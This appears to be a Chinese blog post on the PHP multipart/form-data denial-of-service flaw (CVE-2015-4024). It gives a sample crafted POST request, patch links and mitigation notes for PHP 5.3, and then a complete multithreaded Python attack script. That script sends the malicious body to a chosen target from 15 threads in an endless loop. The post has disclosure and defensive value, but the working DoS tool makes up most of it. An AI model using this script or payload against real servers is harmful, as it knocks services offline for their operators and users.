php multipartform-data DOS漏洞
文章目錄
#相关资料
PHP multipart/form-data 远程DOS漏洞
绿盟 PHP 远程 DoS 漏洞深入分析及防护方案
Hash Collision DoS 问题
#漏洞分析
漏洞分析可以参考以上资料。样例包如下:
POST / HTTP/1.1
Content-Length: 265
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1
------WebKitFormBoundaryX3B7rDMPcQlzmJE1
Content-Disposition: form-data; name="file"; filename=sp.jpga
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
Content-Type: application/octet-stream
datadata
------WebKitFormBoundaryX3B7rDMPcQlzmJE1--
测试一台4核8G的服务器,大概15个进程几分钟就负载超过10,拒绝服务了。
#补丁方案
5.4 5.5官方都已经出了补丁。毕竟坑的是一些5.3的应用,没有办法升级到5.4.尝试覆盖补丁文件重新编译失败。通过限制http 请求body的大小也可以缓解攻击。在nginx或者apache层上就拒绝掉过大的请求。但是如果业务上有上传图片等功能就没有办法了。最后想办法修改了5.3的源码自己编译可能是最好的解决方案了。
网上放出来的几个低版本补丁。
https://coding.net/u/simapple/p/oldphppatch/git/tree/master/CVE-ID2015-4024
https://github.com/80vul/phpcodz/blob/master/research/cve-2015-4024.patch.diff
#测试poc
根据poc修改了一个多线程的拒绝服务poc,方便测试攻击效果。
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
import threading
num_threads = 15
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
result = ''
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
class attack(threading.Thread):
"""docstring for attack"""
def __init__(self, target, body, headers):
threading.Thread.__init__(self)
self.target = target
self.body = body
self.headers = headers
def run(self):
while 1:
try:
check_php_multipartform_dos(self.target,self.body,self.headers)
except Exception, e:
print e
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=35000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
threads = []
for i in range(num_threads):
t_attack = attack(target,body,headers)
threads.append(t_attack)
for i in range(num_threads):
threads[i].start()
for i in range(num_threads):
threads[i].join()
# a = 1000000
# while a:
# try:
# a = a-1
# respond=check_php_multipartform_dos(target,body,headers)
# except Exception, e:
# pass
# print "Result : "
# print respond[0]
# print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main()